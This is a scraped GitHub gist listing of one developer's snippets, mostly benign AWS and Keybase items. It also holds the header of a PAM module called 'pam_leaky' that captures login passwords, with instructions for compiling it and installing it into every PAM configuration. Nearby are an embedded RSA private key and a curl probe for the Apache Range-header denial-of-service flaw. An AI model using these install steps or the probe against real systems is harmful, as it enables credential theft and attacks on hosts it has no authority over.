Skip to content

Instantly share code, notes, and snippets.

View arirubinstein's full-sized avatar
🚀

Ari Rubinstein arirubinstein

🚀
  • San Francisco, California
View GitHub Profile
@arirubinstein
arirubinstein / pam_leaky.c
Created March 2, 2013 00:33
leaky passwords for mac and linux
/*
pam_leaky = get some passwordz
Mac: compile with: ${CC} -lpam -bundle -flat_namespace -undefined suppress -o pam_leaky.so pam_leaky.c
place .so in /usr/lib/pam
put this at the end of everything in /etc/pam.d/ *
auth required pam_leaky.so
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
@arirubinstein
arirubinstein / test.sh
Created September 30, 2013 23:21
apachekiller test
curl -H "Range:bytes=1-" -I http://target.com | grep Partial
@arirubinstein
arirubinstein / keyspec.json
Created October 15, 2013 17:14
AWS IAM Meta Describe keyspec
{
"Statement": [
{
"Effect": "Allow",
"Action":["ec2:DescribeInstanceAttribute",
"ec2:DescribeInstances",
"ec2:DescribeRegions",
"ec2:DescribeSecurityGroups",
"elasticloadbalancing:DescribeLoadBalancers"
],
@arirubinstein
arirubinstein / associate_ips.bash
Last active December 27, 2015 13:28
Amazon EC2 script to assign multiple public IPs automatically to box in VPC
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
exit 1
fi
MAC_ADDR=$(ifconfig eth0 | sed -n 's/.*HWaddr \([a-f0-9:]*\).*/\1/p')
IP=($(curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/$MAC_ADDR/local-ipv4s))
for ip in ${IP[@]:1}; do

Keybase proof

I hereby claim:

  • I am arirubinstein on github.
  • I am arir (https://keybase.io/arir) on keybase.
  • I have a public key ASALbMaOrUuMOdTWXCq5diCprszvk9nwmiZVEDJe0rbLXwo

To claim this, I am signing this object:

Update: download the new Pokemon Go app - it fixes all of this. Download it, and reauth, and you should be set. The grant scopes and prompt are correct and visible now too! Now if only I could actually find a pikachu...

Pokemon tokens are requested with these understandable scopes:

Keybase proof

I hereby claim:

  • I am arirubinstein on github.
  • I am arir (https://keybase.io/arir) on keybase.
  • I have a public key ASBnwLlK9603oBOEX7ek60QcjUi621qyhSonjEfSW26LgAo

To claim this, I am signing this object: